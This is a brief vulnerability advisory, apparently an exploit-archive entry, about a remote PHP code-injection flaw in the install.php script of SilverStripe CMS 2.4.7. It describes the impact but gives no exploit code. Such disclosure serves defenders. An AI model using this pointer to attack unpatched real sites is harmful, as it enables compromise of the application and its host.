SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection

# source: https://www.securityfocus.com/bid/53282/info
# 
# SilverStripe is prone to a remote PHP code-injection vulnerability.
# 
# An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
# 
# SilverStripe 2.4.7 is vulnerable; other versions may also be affected.
